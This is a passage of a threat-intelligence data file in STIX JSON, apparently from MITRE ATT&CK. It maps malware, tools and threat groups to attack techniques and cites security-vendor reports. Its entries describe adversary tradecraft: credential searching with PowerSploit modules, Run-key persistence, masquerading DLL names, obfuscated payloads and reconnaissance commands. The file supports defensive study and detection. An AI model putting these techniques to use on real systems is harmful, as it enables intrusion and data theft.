                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.161Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-06-28T14:59:17.642Z",
            "created": "2017-05-31T21:33:27.071Z"
        },
        {
            "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:56:46.385Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--df6c39fa-9d95-45ee-911b-0ca2fc167086",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:04:22.452Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--216b3711-fc70-4029-aaec-a8f021c38bef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has several modules that search the Windows Registry for stored credentials: <code>Get-UnattendedInstallFile</code>, <code>Get-Webconfig</code>, <code>Get-ApplicationHost</code>, <code>Get-SiteListPassword</code>, <code>Get-CachedGPPPassword</code>, and <code>Get-RegistryAutoLogon</code>.(Citation: Pentestlab Stored Credentials)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "source_name": "Pentestlab Stored Credentials"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.068Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1993ee53-26a0-4cd1-8a93-5fd578c941fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.702Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--62eee3f5-f7ab-4029-a690-635452f1def7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.233Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.088Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--80bdb12e-5bf8-4f3c-aaba-185f31a7ad0a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The PowerShell script with the [RogueRobin](https://attack.mitre.org/software/S0270) payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.(Citation: Unit 42 DarkHydrus July 2018)(Citation: GitHub Invoke-Obfuscation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation",
                    "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.",
                    "source_name": "GitHub Invoke-Obfuscation"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.229Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.845Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mivast](https://attack.mitre.org/software/S0080) creates the following Registry entry: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia</code>.(Citation: Symantec Backdoor.Mivast)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Mivast",
                    "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.",
                    "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"
                }
            ],
            "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-20T01:57:13.505Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1fbd687c-3e02-43b8-a160-4319a7d754ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can gather a process list from the victim.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.154Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to execute shell commands on the infected host.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:52:25.421Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Miner-C](https://attack.mitre.org/software/S0133) copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.(Citation: Softpedia MinerC)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Softpedia MinerC",
                    "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.",
                    "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c"
        },
        {
            "id": "relationship--e0999d7e-deec-446b-a86b-4c8988e20a96",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.271Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.856Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--43908728-be5a-4bdf-a13e-8d373c1fc4fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts strings in the backdoor using a custom XOR algorithm.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.856Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HDoor](https://attack.mitre.org/software/S0061) scans to identify open ports on the victim.(Citation: Baumgartner Naikon 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-04-25T02:33:53.494Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d68ff9e8-0766-49ea-8ddc-4308347c5bac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can adjust token privileges.(Citation: Symantec Hydraq Jan 2010)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.623Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
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            "id": "relationship--3018ef54-d98c-4958-bc31-dc6b45b67a05",
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            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses <code>netstat -ano</code> to search for specific IP address ranges.(Citation: RATANKBA)",
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            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.600Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4eb00375-3ee3-43c7-845a-2206e1eff114",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for debugging tools.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.218Z",
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        },
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            "id": "relationship--d0e4c9af-070a-43bd-82e6-c047f7ebf491",
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            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can gather the disk volume information.(Citation: US-CERT TYPEFRAME June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-17T13:49:31.168Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to delete files from the victim\u2019s machine.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.014Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7",
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            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.(Citation: XAgentOSX 2017) [XAgentOSX](https://attack.mitre.org/software/S0161) contains the showBackupIosFolder function to check for IOS device backups by running <code>ls -la ~/Library/Application\\ Support/MobileSync/Backup/</code>.(Citation: XAgentOSX 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                },
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-30T02:30:03.881Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Winnti for Windows](https://attack.mitre.org/software/S0141) implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.(Citation: Microsoft Winnti Jan 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Microsoft Winnti Jan 2017",
                    "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.",
                    "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
                }
            ],
            "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T16:13:37.712Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0"
        },
        {
            "id": "relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-16T15:54:21.892Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8023d964-9013-4f3d-962e-569b799a2991",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CrossRAT](https://attack.mitre.org/software/S0235) uses run keys for persistence on Windows",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-01-17T19:36:09.440Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--42d2f816-9db2-47bf-9481-3065d038725d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) actors have been known to copy files to the network shares of other computers to move laterally.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
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            ],
            "external_references": [
                {
